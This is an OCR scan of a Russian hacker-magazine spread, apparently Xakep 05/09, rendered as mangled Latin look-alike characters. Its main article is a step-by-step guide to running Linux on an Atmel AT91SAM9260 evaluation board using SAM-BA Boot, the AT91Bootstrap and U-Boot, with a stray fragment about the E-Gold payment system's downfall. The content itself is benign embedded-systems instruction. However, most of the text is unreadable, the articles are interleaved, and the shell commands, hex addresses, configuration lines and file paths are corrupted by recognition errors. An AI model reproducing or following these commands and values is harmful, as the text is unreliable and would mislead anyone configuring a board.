SHecnltl B n011b30saTel1bCKoe COrJ1aWeHlo1e pflA

npe,lJ,npltlHIo1MaeT nonblTOK XOTb KaK-TO pea­

TOHHbl 30nOTa, 3a ro,o, COKpaTlo1llCfl n04H1 Ha

1-13MeHeHltli1, npJll38ilHHbiX nO,D,nOpTltlTb >K\.13Hb

6VlJ1ltlTVlpOaaTbCflB rna3ax o6w,eCTseHHOC­

KI-l6epMOWeHH!o1K3M

TI-1. B03HltlKaeT 0l1lYl1leHltle, '-ITO pyKOBO,QC­

Gold CHltl)l(anCfl -

TpeTb.

1.13-3a 3Toro 30110TO~ epOH,[l

K ce;>e,o,ltlHe

2008~ro OT Hero OCTa.noCb

O,ll,HaKO BpflA J111 MO~HO CKil3aTb, "ITO Bce CHOBa

J1I1Wb 2.420 Kr.

B ltlTore, I1ETOM

2008 rO,ll,il, nOC11e npe,D,ea­

3aKOH'-I1tl110Cb XOpOWO. XOTfl KOMn3Hltl>:1

epop­

TSy nonpOCTy Han11eS8Tb Ha npoMoyweH 101 c06CTBeHHbli1 0611I11K. '-1ero (TOI-1T O,D,V,H

TO.nbKooQ>!o1l.1,ltla11bHbI~ca~TKOMnaHLo1ltl,

pltlTell bH blX C!1ywaH~~, PYKOBOACT80 E-Gold

M31lbHO AO CVlX nop He 3aKpblTa, ee penyTal.l,ltlR

pew ltll1 0 npltl3HaTb CBOIO BLo1HY. O'"leSJII,lJ,HO, 3TO

6e3Ha,D,e>KHO VlcnOpyeH3. PerltlCTpill.l,lo1fl HOSblX

Sbl3b1B31OW,ltlCt "lyacT80 OCTPO~ HOCT3nbrltlltl

6blJlO npo,lJ,YM<lI~Hoe peweHLo1e -

n0l1b]OBaTeneL'l3aMOpO~eHa,npoll,ecc nOflY­

no 90-M III MOflO,o,OMy Io1HTepHeTy.

Y4ltlTbIB3s:l

HDKeCb Bbl,D,BVlHyTbIX 06BltlHeHltl~, Bb\HeCeH­

'-leHl-HI J1lo1l1,eH3\1l~, O'ieBltl,D,HO, 3aTs:lrltl8aeTCfl, a

BnpO'-leM, E-Gotd H3 npOHI>KeH\.1ltl Bcei7i

HbI~ B KOHlle 2008 rOAa npltlrOBOp OKa3;)11C\1

Aoeeplo1e ,q3BHO 110,D,OpaaHO_

ee 13-neTHe~ lt1CTOPltlltl BcerAa se3110 101, 603MO>KHO, nOBe3eT ew,e pa3. WaHC,

CnltlWKOM y)l( M>lrKltlM. Aymaca D>KeKCOHa, ero

B 2008-M

GpaTa Pe~A21115appl'l,l\aYHltlnplo1rCBopioll1ltl

Hble DOoS-ilTaKltl H3 E-Gold, 1-1 nYLl.\eHHilfl TOr,ll,a

"ITO KOMnaHltlfl BoccT8HeT 1-13 nenl1a lt1

K 3 rO,lJ,3M yC1l0BHO [BKI1Kl'i2\1 rlonro,lJ,a nOA

>Ke «yTKa», rJlaCltlBW8s:l, 4TO 01CTeMY flK06bl 3a­

npe,D,CT3HeT nepeA HaMItl S HOSOM cseTe,

M3CJl3 B orOHb nO,D,nHJlH ltl nOCT051H­

6aHKpOT ltl Tenepb He CMo~eT

AOM3WHltlM apeCTOM ltl 311eKTpOHHblM HaGJilO­

Kpblflltl, E-Gold -

AeHltleMl. a TaK>Ke -

paCn11aTltlTbC51 co C80Lo1Mltl K!1ltleHTaMI-1.

K 300 yaCaM 06111eCTBeH­

HblX paGoT, Bcex TpOltlX 06JiO)k.l/l1H1 wTpa¢oM:

XAkEP 05/125/ 09

\113-33

nOCfle,o,Hero co06w,eHlllfl nonb308aT€JlIII (K3K,

sce .>Ke, OTJlli14eH aT f-lyJ1>l, TeM 60nee '"ITO TpeHltlfl C BflaCH1Mltl,

noxo~e, HaKOHeL\~TO,

yperyl1l-1 po sa H bl.I

~

077

, ,


"'4 AT91

/'

SA~19260

I'

I,~'

ill

Ethernet

NAMD256M

E.8rE.Hl-111 «)1 M» 3D5H\1H tzOBNINrilGMAI L.COM I

Ether-net

lIEMnHOH nErKO BECE

AT91 SAl19260

npaKT~~eCKoepYKoBoACTBononoceneH~~

GNU/Linux Ha M~KPOKOHTpOnnepe l...\enb npOCTa -

HaYllVlTbCR CTaBVlTb

ac Ha 6a3e Linux Ha liTO-TO, OT­

nVlllHoe aT Be3,lJ,ecyw,e~ apxVlTeKTypbl

IBM Pc.

nonarafD, yTe6R eCTb

TaKoe YCTPO~CTBO, 6blBwee COBceM He,lJ,aBHO MapwpyTVl3aTopoM

Vln VI

Ka KVI M - HVl6y,lJ,b n pOM bl wne H H bl M KOM n bfDTepOM.

Jl Vl60 Tbl

nOTpa­

TVlnCR VI KynVln nOnHOlJ,eHHbl~ O,lJ,HOnnaTHVlK, lIT06bl Vlcnonb30BaTb era B KalleCTBe OT,lJ,enbHOro cPa~n-cepBepa.,l],nR TaKVlX cPYHKl.J,V1~ nVicaTb C HynR npowVlBKy He V1MeeTCMblcna, a BOT nOCTaBVlTb Cnel.J,V1anbHbl~ ,lJ,V1CTpVl6yTVlB Linux -

caMoe Tal

• aKORSET - HIDS 5E3)lO>K­ HblX CPA5ATbiBAHI-11-1 B npeAblAyUJ,eM Ha

HOMepe. HanOMHIO,

TeopeTI-1~eCKa~

511'1')

32

M6 IDVlpMHOI1 16

n3MSlTltl. nO'-lltlT3i1 O<pl.1l.J,ltl311bHbIM G1LliT 11 <pOpyMbi.

NAND-Flash: 256 M6

HaBepHRK3, Tbl He nepBbli1, KTOYCT3H3BnV18aeT

DataFlash i-!:a SPI-I1HTepilJe7i.ce Atmel

0630P nonymlpHblX apXvneKTYP III Al.1CTP\>15yrl-1BOB

Linu)( lia nOAo6HbiLli AeBaMc - ltl yyltlTbCflnYYWe Ha YY)l(l.1X OWltl6K3X, "leM Ha CBOIllX.

• MYfKpocxeMa ¢113J.1y:ecKoro ypOBHSl

.LJ,eJl3Tb Bce 6YAeM no waraM. V1 nOMHltl. onyal.J,VlR

Ethernet, COEMeCTHMa}{ C IEEE 802.3:

He IlBJlfleTeR 6e3BblXOAHOM AO Tex nop. nOKa Vl3 yc­

Micrel KS7.8041 TL

nOHflTHO. 'ITO 8 lBoeM

II

(nBe M}!KpOCXeMbl no

MapKltlp08Kltl Ml1KpOcxeM. Y3HaLli o6beM ltl Tltlnbl

)J,IlS1 8CTpaYlBaeMbiX yCTpoiicTB. CerOAHl'l3ai1MeMCl'l co6CTseH HO YCT3H08KOJil

I

6blna ocaelLle­

CTOpOl-ld Bonpoca l'I npOS€,ll,eH

¢OPM3l.J,l-1l-1 0 nOAonblTHOM yCTpoikTBe: nepenVlUJl.1

nI1HyKca.

cnY"lae MQ>KeT 6btTbCoaep­

weHHoAPyral1 nn3Ta C.Qpyrlo1M KOHTpOflnepOM,

Ho nporpaMMlilpOSaHl1e BCTpa1018aeMbiX YCTPO~CTB

BCer'.Q3 npOXOAlilT no 0AHI1M VI TeM::4(e walaM, n03­

Tpo~crBa He nOMr'\eT AblM:I.

llKAnpI-13Hbll1 MOHCTP

AT45DE041B: 1 r46

• Ha l1Jla-:y TdKJ:\e BblBe,Il;eHbI USB-XOCT !II DBGU-I1HTep'pe~c

TOMy, HaYYI1BUJItlCb BCe AellaTb H3 MoeM nplilMepe,

y MeHI1 eCTb npOMblwneHHblM KOMnblOTep

Ha,Qo nOMHltlTb, "ITO AT91SAM9260Y:>Ke He COBceM

HerpYAHO nepeHeCTItl nonyYeHHbl~ OnblT Ha TBO~

sh27cncl, npVl npOeKTltlpOBaHl.1ltl KOTOpOro 6blJl

MlilKpOKOHTponl1Cp B TOM CMblCJle, KOTOpblL:! Mbl

.Qe8a~c. "lyrOK nOAnpaBItlB aJ1ropl'm~. OTm-1 ' jltl"

B3lH 3a OCHOBy AtmerOBCKlo1~ oTn3,qO'-lHbIM Ha60p

npltlBbiKJlI'I BK11aAbIB2Tb B 3TO nOHI1Tl'le. BeAbBHyr­

6YAYT, HO '-I3w,e seero -

AT91 SAM9260-EK lil A053BneHo HeCKonbKO y3noB

pViy HefO Hyo4eHb MHoro BCI1KOl:1 pa3Hoo6pa3Holi nepltl¢lepl'lv., HCl'-lI'lHaR C llAna A,'l11 BblBOAa 313Yl<a

Hecyw,eCTBeHHble, npl1­

"leM Bee TOHKO(Tlil npOUJlo1BKlo1 OTAellbHO B3RToro

nma nnVlC [nporpaMMlilpyeMble 110rltl4eCKl'le I'IH­

YCTpo~CTBa nO.Qpo6HO Onl1CblB3KHCR B Oatasheet

TerpanbHble cxeMbil OT KOMnaHIt1l.1 Altera. 3 T3K:>Ke

l.133K3H4V1B311 KOHTpOnJlepaMl.1 nOK2JlKVI!EMAC ­

K KOHTponnepy lo1 Ha ea~Te np0113BOAI1TeMl.

napa nap3JlllellbHbix nopros. BOT ero Kll104eBbie

yposeHb Ethernet) V1 Fl3Sh-naM'ilTltl.

TaK>Ke.AJ1R ycnewHoro 3asepweHlo1R MlilCClo1lil,

KOMnOHeHTbl:

f1e 9260 - caMblCi. '-ITO HI'I Ha eCTb, KOMnbIOTep-lia­

HenilOXO 6b1ltlMeTb 5a30Bbie 3HaHlo1Sl

no rrpou,eccy

3arpY3Klo1 Unux ltl3HaTb, '-lTO eCTb «nepl.1$epl-1R», «KOHTpOflf1ep'}, «epa~fl08afl CVlCTeMa". nepeATeM, KaK YTO-11lil50 npOWl1B8Tb. nonY'-l11 M3KCI1MyM l-1H­

~

078

KpVlCTanne. f4HKpOKOHTpOflJlep

Atmel AT91SAM9260

B Kopnyce PQFP OnepaTMi3Ha51 naMHTb: 64 M6 SDRAM

B 3TOM CMbIC­

Ho c.QpyroCi CTOpOHbl, Onep3TltlBHO~

naM51Tl1 y Hero 8 Hyrpl.1 - scero 8 K5, lil3 KOTOPblX Te6eAocrynHo TOJlbKO 4,

a 3HeprOHe33BI1CIt1MOCi

T3M HeT8co6w,e. 3roT He.o,OCTaTOK npl.1XOAltlTCA

XAK£P

os /125/

09


E'tho?rno?'t

NAMD256M

USB-A

<llOTOAEBAHCA KOMneHOlpOBaTb H3na~KO~

BHeWHe~

RS·232-lo1HTep¢eficHYKl MVI KpocxeMy H3 9-nIllHO­

3anycKaeT >KrlSYW.YlO B ROM nporpaMMySAM Boot

V1 BCe)f(e, K3K 3anycKaTb TClKOrO Kanp!ll3Horo

naM>lH1.

BblCi COM-p33beM, KOTOPbli1 yxe nO,ll.KJlIO'-IaeTCH

Agent (SAM-BAI, Ha YCTpoCiCTBe CAM-6y MO%.HO

MOHCTpa 7 TeM, KTO He 4(11Tart MO!C npowllylO CTa­

I(

TblC, HanOMHIO. 8 Caf-lOM Ha'-lane pa60Tbi npolJ,ec­

lho 3srpy3'1V1K\1, '-ITOf1I11HYKC no yMOJl'-l3HIIIIO

,o,oKyMeHTalJ,l1lO11ll11101 npocro 6pocaHlIIeM SPI Slave

copa nepBblM p,enOM craplyer eCTpoeHHbl~B ROM

Vlcnollb3ylOTT3KIII€ napaMelpbl nopls:

Output HOXKIII H3 3eMI1IO. nOAKlll04aeM )J,eBa~c

Bbl38aTb 33KOpOTK0i1 oco6oro nltlHa lowTp\ll

KOMny.

3arpy3YVlK. Yroro xsaTaeT Io1HTenfleKT3TOllbKO Ha TO, YTo6bl Bbicocarb4 K6 (O,QHY crpaH!IIl.\yl Ko,o,a

KUSB-noPTY 1'1 npoBeplleM. KaK OH onpe,ll.eJ1V1J1c\l' CKOPOCT~:

CKon"'pOB3Tb VlX BO BHyrpeHH<01O onepaTiI\BKy

115200 ):laHlWe: 8 bits 'IeTHOCTI>: He'r

IKOTOpott KaK pa34 K6J VI nepe,il.aTb Ha I-lee ynpaB­

CTon-6JolTld: 1

neHlIIe. B 3TlII4 K6 Mbl ,o,OJl)l(Hbl BnVlxHyrb l(O,o, lo1Hlo1­

KOHTPOlll>:

Vl3 M\1KpOCXeMbl Data-lo1flltl NAND-flash naM>lHl,

HeT

$ lsusb

Bus 002 Device 060: 10 03eb: 6124 Atmel Corp. at91sam SAMBA boot loader

IJ,VlallL-l3all,VlI16oJlbwoi1 VI B3POCflOCi onepaHoIBKIII

,o,anee, no CCblJ1Ke \N'w'~linuxtisamorg/lwikil

SDRAM, onpe,o,eJlIllTb Hana>lHHble MIo1KpocxeMbl

B6el13TI1 napaMelpbl e CBOIO TepMIIIHaflbHYlO

Flash-naM>lTVI, cKonVlpoaaTbonyAa oCTaflbHoCi

nporpaMMY Ha (TOpOHe PC.

bin/view!! In\lxtiSAMISoltwareTcols, Ka ....aeM

1<0.0. 8 yxe pa6oTalOw,ylO onepaTIIIBKY III nepeAClTb

He ne3b H3 P0)l(OH. 3aCT3sbyCTpoCicTSO

CO¢T AJl>l npowlo1BKIII. Orry,ll,a )l(eY3HaeM HaWiI1

Ha Here ynpasneHv,e, C 3Toro MOMeHTa 'f>Ke MO;+;:­

3anycTVITbcIl XOT>l6bl cAe4>OllTOBblMlo1 fl,u,pOM

cne,D,YlOlUlIIe warlll:

HO rOBoplo1TbOTCM, 4TOYCTPOttCIBO 3anyw.eHO

III ¢aCinoBo~ C1'1CleMo~.IIIJ.lYlJ..llo1M\1 B KOMnneKTe

B c6w.eM, :310 HeTaK cTpawHo IMbl He 8 py6pV1Ke

c OmaAO'-lHO~ nnaTo~, a nOlOM y%.e Ha 3aseAOMO

Codingl.lII Hawa 3aAa'-la cee.oerc>I KKOMnVlJl5i1l,ItU1

pa60'-leM f1V1HyKce 3aTa4V1saCi .o.esa~c nOACBOIII

Y)f(e roTOBblX IIICXOAHlIIK06 Lo,a

HpK,D,bl. noexaJ1l<1.

VI TO

He 8cer.n.al

lITO%., YHac eCTb 8lt1pTYanbHbl~ COM-nopT, KKO­

06w,aTbc>I Cnlo1HyKcoM nepsce speM>l6YAeM ....epe3 TaK ha3blBaeMbiCi OTna,ll.O'-lHblCi IIIliTep$eCic

" modprobe usbserial vendor=Ox03eb product=Ox6124

a3Am1BKA

TOpOMy nO,Q,KnlO.... aeMGI co4>T-nporpaMMalOpOM .

DBGU. CT04KVI 3peH~fl V1cnonb30aaHV1>1, 3TO

KaKy;+;:e Heo,o,HoKpaTHo rosoplllnocb.AT91SAM9,

6lt1HapHl-1K nOCfle pacnaK08Kl-1 Ha3b1SaelC" sam­

06blKHoBeHHbiCi UART -napTC 06pe3aHHblMlo1 803­

KorAa He l-laXO,QIIITnOAXOAIlW,Io1X npOWlII80K no HY­

ba_cdc_2.8.linux_Ol, ero III 8b13bl6aeM. npl-1 303­

MO)l(HOCT~MvL Ha MoeCi nnaTeOH 8b1BeAeH .. epe3

JleBblM a,o,pecaM Oat<J-l<1 NAND-4>new naMflTV1,

npoce yKa3blBaeM nopT/dev/UyUSBO VI nnaT)l

XAKEP 05/125/

09

~

079


f~~::s~ ~.=;:

~~:;~~

....

;,;;g..;~;.<~

~~~~~;~;:.:::.,

§:l['~~;~

S'~~_~M

=:;:,i~~;·T.:::;::iU;'~:;~:~;;;·\<;;";in;'-;'::·~i"~.o:;,·:>o~·-_

....~ ..........

~ttfii~~.=_~,,~.

t~!~F~~' aE.i;;31~~

KOHCOllbKA CnpollEccOM 3ArPY3KI1 RAPA

AT91 SAM9260-EK. Tenepb, Bbl6l-1pa51 BKJ18AK8MI-1 Hy>KHylQ nepl>1epepl.1!O. MO)l(~IO 38JWIS8Tb KOA. He 38­

KOHCOllb CU-BOOT

4T06b16b1Tb yBepeHHblM, '1TO 3arpy34lilK 4eCTHO

06pa3 B Dataflash no aApecyOx8400. TaK Ha3blBa­

oTpa603TbIBaerCBolO 4aCTb lil nepe,aaeTynpo3BJleHlile

eMbl11 Environment, a, no cym, KOH4!wypal.\IAOH­

nIna Enable Flash v Ha>Kl-1MaTb Execute. IH8'ie npl'l nonblTKe o6pa­

.aa.f'bWe, paCKOMM8HHlpyi:I CTpOYKy «#undef CFG_

Hb1116J10K 3arpy34I-1K,3. 'O>KeAOf1:t:eH rAe-TO>Kl-tTb.

DEBUG» 8 3arOfl0804HOM $ai1ne o3t91 sam9260ek h.

Ero MeCTO - Me~y caMVlM U-BOOt'OM l/l nep8lil'--l­

TI1TbC>l K He~H>1l..lV1am13f1pOBaHHo~ MlIIKpocxeMe

TorAa 3arpY3Y~ KCMo.:+:.eT nJleaaTbC>l C006l.L.leHMi=lMlil

HblM 3arpy3"1L-1KOt-l no <l.Qpecy Ox4200 k~IOTPW /

ycrpmlcTBo nOBl.1CHCT BMecre c nporpat"n-laTOpOt.L

H30Tllo3,q04Hblit nop-r, lil, ecnlll '1TO-rOHe3apa6oraeT,

include/configs/at91 sam9g20ek.hl. nO:'HoMY

nCpOl-1~Hbl~ 4-Kl-1.no6a~THbl\:1 3arpY3Yl-1K nyywe

Tbl

6blB8i7t BbJ3b1B8Tb CKpl>1nTbl

38Jll-1S8Tb yepe3

cKp14nTSend Boot File. a Bee

8 6y,uy~eM He Tporai13ToT6110K, eCf1i1l He XOl.leWb

Ha~AeWbnpo5IleMYOblCTpee.

noc11e KQMnlilIlRU,Io1lil3alllilBal::l

n0J1Y411lBWlil~CSl

,bin

OCTanbHoe - '-lepe3.ll.lo1anOr nOCepeAl-1He OKHa

8 8bl6po3HHbli1 ;o60i1 FLash 4epe3 SAM-BA Boot,

neperpyxaeMcSllil CMOTplt1M pe3y11bTaTbl. U-boot

V1 yKa3aHV1e 8.ll.peCa BPYYHY~. Ecm13arpV3'ilt1K py­

I.>1CIlOf1bJYQ cKpMnT «Send Boot File». nepe3arpy­

,uomt<eH OnpeAeJllt1 Ib WMeK>l1J,YKXI1 naM>lTb, 06no­

raere5l '" He XQ4eTKOIll-1pOB8TbA8HHble, y6eAl-1Cb,

)l(a~ yCTpOi1CTBO 11 CMOTplo'l Ha OTflo3A0'lHble co06­

Mo3TbCI1 C303rpY3KOH SlApa lil SbI8a11I.>1TbC5i B KOMaHA­

YfO Cl.£\pec KpareH pa3Mepy6JlOKa [Oxl 0000 6a~T

ll(eHI1Q, YTo6blOblTb ysepeHHblM B:HOM :lTane.

HytO crpOKY. nlilWf1 help M lil3yYa~ S03MO)l(HOCTIot.

An~ NAND). B03MO>KHO, Te6e ew,e nOHaAo6lil1cSl

KOMnlt111HTOp arm-elf -gee nOA apxl.>1TeKlYPY ARM. 6epeTcR OH Ccai1Ta

gnuarm

COill.

nocne 3Toro Bce

,qOfl>KHO 6blTb roTOBO KnpOWI.>1BK8 1.>10TJlaAKe,

~3ArpY34~KnEPBoro YPOBH~.AT91BOOTSTRAP

BrOPOrO U-BOOT

~3ArpY34~K

YPOBH~.

TaKOBbiM ero MO)l(HO Ha3saTbIH1WbC HaT51)l(­

i3~,QPO L1NUX nOlllrpaSWlilCb CJ(oMaHAHot! CTpOKOtl U-Boot, nepexGAlIl KcC6CT8el-iHO 303rpY3Ke Sl,apa

Koi13TOT MOHCTp pa3se YTO BTeTplilC lie >1rpaeT

OTKy,qa era 6paTb? no 2p,pecy WN-N,lll1l1x45am.or-g

Y"",eeT 3arpY)l(aTb DCb OTKY,aa yro,aHO. BTOM

fux!.kjLbln/vrew/Llnux4SAM/LinuxKernel MO)l(I--!O

411cne 10'1 no CeTI1 \TFTPlil BOOT PI, TeeTlilpoaaTb Konlo1poaaTb RAM lil Flash naMIHb. KpOl-leTOrO,

CKa4aTb npeKOMnV1J1i.1pOSaHHoe l1,l:l.pO, 33TOyeHHOe no.Q OTJla,QO'-lHylO oJlary. npeJV1aralO Ha'-laib I'IMeH­

Ka4aeM ero no aApecy vw,w linux4sam-.Jll:uJtw ikdbin/vlew/Llnllx4SAtv' IAT91 Boolstr"p. ECJlI.>1

noMep)l(l.>1BaeT npOCTble C:<pl.>1l1Tbl. 8 06l.L.leM. 3a~

TSOR MlilKpocxeMa Oataflash >KlilseTHa Chip Select

6lilpaeM c nplt111araNWro K)I(ypHaJ1y,uI1CKa apx>18

$i.o.po y Mel-lSl )KL-1BeT B NAND-Flash naMHH1 no a,ue­

1, TO cpa3y MO)l(eWb 83\Hb CKOMnlilJllilpOBaHHblIiI

c lilCxo,aHl-1KaMIot u-boot-1.3.4 tar. bz2, pacnaKo­

cyOx42000. 3T01 a,ape:: nOCOBeTosan M,myaJl, XOTI1

6l.1HapHlilK, lt1Ha'1e npl-1AeTC51 MYYvll'b lilCXOAHI.>1Klil.

BbiBaeM, ,Q06aSf1l1eM 3KCneplt1MeHTaJ1bHbli:i naTY

Sl >1Me11 n011Hoe npaso rpy3lilTb era KYAa yrO,lJ,Ho;

PacnaKOSblBaeM. CJleAYi=l MaHyaily nOToMY >Ke

u-boot-1.3.4-exp.diff 10'1 co6lilpo3eM:

Ho3,aorollbKO CneA'A7b, '-lTo6bl aHa He nepeceKanOCb

It!

a,qpecy. Bbl61.>1paeM Hy)l(HYIO HaM KOH4JvHypa~ l\V1O

nyreM l-1Cn0J1b30aaHvHl COOTOCTcTByKlll.\ero

HO c Hero, TaK OHO rapaHTlilpoaaHO pa60TaeT,

CAPYnlMIA .o.al-'l-Il>ll-1l1. $

11Idke

Maketile. Vh.tefl8-Mera6I1THbll::l Oataflash HiJ nna­

config

Te, 3crpy3"1lilKlil 513anlilXl-18aJ1lilMeHHO l)'Aa, a SlAPO

$ make

ilL91sam9260elLdataflash_csO_

VlT<lK, 6epeM 5lAPO nocae)l(ee 12.6.271. Ha 6YAyw,ee CKa41.>1SaeM C To~;:t<e CTpaHlil4KlIlI.>1CXOAH\1KI.>1 C l1aT­

CROSS_COMPILE=arm~elf-

c CDC - y>Ke Ha 256~Mera503iiiTHbliii Nt..ND·Flash.

I

HaCTpaMsaTb Bce 3aHoeo.

YeM

It! , Bbl3B3S

6pal-lHbll1

SAM-BA Bool, 3alll1BaeM B8bl­

~l1€W

no Bbl6pDtlHoMyaApecy. nocne

3Ha41H, SMoeM c11Y4ae npoeKT KOMnl-111J..1pyeTC51

Tenepb onpe.D.e.~>1MC51, Ky,o,3 3aIlwaaTb u-boot.bln.

nepe33rpY3Klil CHooa OKa3blSaeMCl1

BOTTaK:

EC11H 1bl cMOTpen t1CXOAHI.>1KVl3arpY3'1HKa nepBoro

CTpOKe U-Boot. n~lweM TaKl-1e KOMo3HAbl:

B KOMaH,l\HO~

YP08H~ 14-Kl.>1nooai1THbltl Bootstrap!. TO Mor 3aMe­

$ cd board/at91sam9260ek/dataflash

TlilTb HeCKOJ1 bKO J1 KJ60 nblTH blX Ae¢a i:iHOS'

S :oake CROSS_C0l-1PILE=arm-elf ­

U-Boot> setenv boatcmd nboot Ox22000000 OxO Ox420CO\i booc.m

$ less at91sam9260ek. h 303rpy3l1l-1K npOCTeHbKI.>1H s em KOAax He COCTaSI.>1T

""de fin/" IMG_ADDRESS Ox8400 '. lmag€ ,

Tpy.aa pa306paTbC51, HO C/leAlil, 4T06bl pa3Mep lilTO­

Addn:ssi.n DatliPlastl "/

r060ro 6lilHap,H1Ko3 He npeBbIWJ114096 6a~T,

~jp'':in.:.'

MHe e~e npl.>1WflOCb pacKOMMeHTl-1pOBaTb ((,apaH~

Si.ze in DatclFlash "/

IMG_SIZE Ox33900/* Image

sep» Moel::l Oataflash-MlilKpocxeMbi AT450B0418

</"~"Ljrll'

S¢aHlle driver/dataflash.c. cDYHK~lIlSl dUnit

Fwa 1 .... ump ;'.<:16.1: E;-SS ." /

JUMP.-ADDR Ox23FOOOOO/*

U-Boat> saveenv Om.\lil5l setenv32AaeT nepeMeHHble oKpy)l(eHlil51. Bootcmd - oc0603l1 nepeMeHHa~, 4epe3 Hee onWCblsalCT KOMOlU,D,b1 (O,D,aHHoM cf1y'lae - «nboot Ox22000000 OxO Ox42000; bootm»), KOTopble Tpe6yeiCl18blnOJlHlilTb nOCJle 3-ceK)'HAHQroTai1­ Mayra B Ha"laJ1e 3arpY3Klt1 U-Boot. KOM3HA3 nboot

HecoBna.o.a.na CYCT3HoBlleHHoi1 Ha pe¢epeHcHoM

~3

OTJ1<3J\O'1HOM Ha6ope. OHa 5blna nOAJl0>KeHo3 S npo­

3ro lilMeHHore an,peca, oTKy,aa Bootstrap 6epeT

KomtpyeT A<lHHble

eKT, npOCTO 33KOMMeHTlilpOBaH<J ,alll=! VMeHbWeHI1~

npOWI'lBK)' 18 HaweM CllY'"'<Je, U-Bootllil KYAa ee

aApecy, a bootm - 3anycKaeTnporpaMMy, yna­

paJMepa.

KOO\.1pyeT. ECIll-1 Tbl He MeH51Il 3TI.>1 Ae4>o3~'Hbl, Tone!/!

KosaHHylOyrv,,11'1TOJA mkimo3ge [cMOTp"1 ,uaJ1bwel.

~ 080

NAND-Flash noyKa3aHHoMy

XAKEP 05/1251 09


...

"'''

-

.... ....

~s.<M-tIA~

---

-

Sl:ril>IFk

~~

AT9lSAl'J1~~

-

-

9

AWl SAM9Z6ll1,4elnory DIsplay SIM I\drh$. : 10>200000

... ..

Refresh

...........

, , " """""" ~~

Ib!AOI)D(IZO

O>cFFFFFFFF

llxlI02001C4

Ox\iOOOOOaO

OXOOOOOOOO

O>:OWOllOOO

0...00000000

OXOOOOOO~

hi. DataAasll AT45081OC8

1[DiSPlay format

r

v ascM v 8-bit v

She in byte(S): ICbo:100

-..... Ol<llOOOOOOO

"',,,

t£Hllt •

JZ·b11

"'"".­ 0>:00000000

""""""

l NorFliSh I S.r1"~ Al2SIATZG

Il><OO000000

_:::1 H¥ldflaslt

1SDRAM

] SRAM

I"'.....,"'·"..

C06HPAEM EMOEBIAN

!

I

Addrtss :JllP<ll400000

IIEnallIe NilndFtMfl

'i

_.

r

"'"

~

I Si:l:1 (For Receive FIIe):~ byte(s)

_SCrIpts

_.......

I

~

Send Fdo Harne :lIM"'eI~InlMI""""CI~&JVem~eblan-l,jlI"$2

Recelvl f'ile H'lIlle :

/

CDmpanl

sent fit wltlt memory

I I I

I

I

---!

ECIll-1)1(e KllaSlt1Wa 6blIla H3>K3T3, III Tbl OKa3allCl1 B KOM3HP.H0i1

CTpOKe. TOAe$01lT08a~ 3arpY3K3 Bblno.nH~eTCI< KOMaH.o.oili

boot

f--!I:l".ol$U,.:tr.:::-~l __~,8.1JJv~22 II 1fflIFlIl!IH: :Inlt

1':Ina J..,e,! : 51

1- l.oDdirc 'IlIlJ1I'l Itvl'Qllt/l__<l'101-.826l:'.l:dn at act:t'OOO 1- InCIN Mm , l>Itea

-I· IkrIfr _ _ , (),:2000017EA

I-lkrIfreiZO'=1>jIoa

-]- 1Wl..... inl1.hlJ ~ dono (~.B.lilU<~ot 2 I

B o6U\eM, eCfll18Ce c.o,enaHO npaSl-1J1bHO, TO CHa'1ana nOl1­

(10<1_

B\1TCl'l He60JlbWaR CTaTltl(lIi1Ka 0 >l,o,pe, a nOTOM Ha4H€ r Cl'l era

pacnaKOBKB (crp04KB (Uncompressing

Linux})I. 3aTBM AOIl)KHQ

~

!ldtvlttyuseol

3BS€ ( llilCbCBMC SlAPO, pap,OCTHO B03S€LlJ,B>l 05 310M MHO>K€CT­

BOM coo6w.eHltIiIi Ha OTna,o,O'1HblVJ nopr YltlTaili t1X BHliIMaTBnbHO. TaM coo6w,aeTCp. 06 y,.o,BYt-JbIX \01 He O'-l€ H bq>aKTBX nOAKJ1IOY€Hl-1>l

nepl-1¢epl-1l-1.

8 ,D,BnbHeC'1W€M

BoWd

AOJ1rO H HYAHO 3AJ1HBAIO<IlC YEPE3

SAM-BABOOT

-_J

310 MO>K€T nOMQ4b npl-1 nepeKOM­

nl-lM1LJ,IIH1113a T0'1K€ .

Kat< TOllbKO S1p,PO BblCKa:>K€r

Bee. 4TO AiMaeT

06 oKpy>KaKlw,€ M

Ha 3TY<pfleWKycKl-1HYTbCDC. Ho Ha4anbHal< yaCTb HOCl-1TeflSl y;t<e

ere Ml1pe, np0lt130i1,D,eTCcMOe llOrlilYHOe, '..!TO MO)f(€ T cnYYl1TbCR

JaHl'ITa. a Hl-1KaKoYtTa6m11.1,bl pa3AenOB. KOTOpytO Mbl nplo1BbIKill-1

-

Bl-1AeTb B Hal.lane K8)f(jl,oro IBM-c08MeCTl-1MOrOJJ,toICKa. y Hac

OHO 3anaHl-1Kyer! cDai1.no8oili CI-1CTBMbl BBAb HeT. 310 HOpMaJ1b­

HO,- nplt\,:<p)"-l~saH~eMCDC Mbl3ai1MeMcon "yrb n03)Ke

HeT ~ He 6YAeT. Pa3pa6oTY\IlKI1 Evaluation Kit, He MYAPCTSy51

CKOMn~nlApOBaTb

flyKaBo, npOCTO 3anV1caflV1 cnWOK pa3AenOB SHyrpb 5lApa Linux

flApo, eCJlI,1 B3TOM 6yp,eT Heo6xOAl.1MOCTb,

TaK::t<e HecnO:::t<HO. Ka'-laeM SaHV1JlbHOe l<.opo, a C 1m X45 rn

r

[cMorpillli nux- 2.6.27/8rch/arm/mach-at91 /board~sam9260ek

Yn:lrl.1BaetJ naT4 Afl51 nfiaTbl V1 ,QC¢OJlTHbli:i KOH41l-1r.

cJI Oc060 BHV1M8reJ1bHbleyBl'1..o.efll-13TOTCnV1COK ew.e Ha 3Tane

B03MO)f(HO, naT4 npltlAeTCfl npaBV1Tb. ecnl-1 TBOl.1JJ,eBaik

3arpY3KiIll'l,iJ,pa, B 06ll.1eM. ¢IaYtflosylO cVlCleMY rpy3V1M no a.opecy

OTllW-laeTCSl OT OTJlaAOYHoro Ha60pa (I-lHa4e l.laCTb nepl-141epltlltl

Ox400000 l/dev/mtdblock11. Anl'l Hal.laJ1a MO)KHO B31<Tb npe..o.~

• nOlle3Hblv. Cav.T

He 3anYCTl-1TCI< I.

J13raeM¥Kl Ha llnux4sam.org. V1XTaM ,ll,Be - 3TO ,QV1CTpI-16yno1Bbl

no AT91SAM:

Open Embedded/Angstrom l-1 60nee nerKoseCHblH BuildRoot

llnux4?am org

HaKIlaAbl BaH lite naTl.la

Ha 6"l3e uClibc rOTOBbie 6a30Bbie 06pa3bl TO)Ke MO)f(HO CKa4aTb.

$ cd linux-2.6.27/

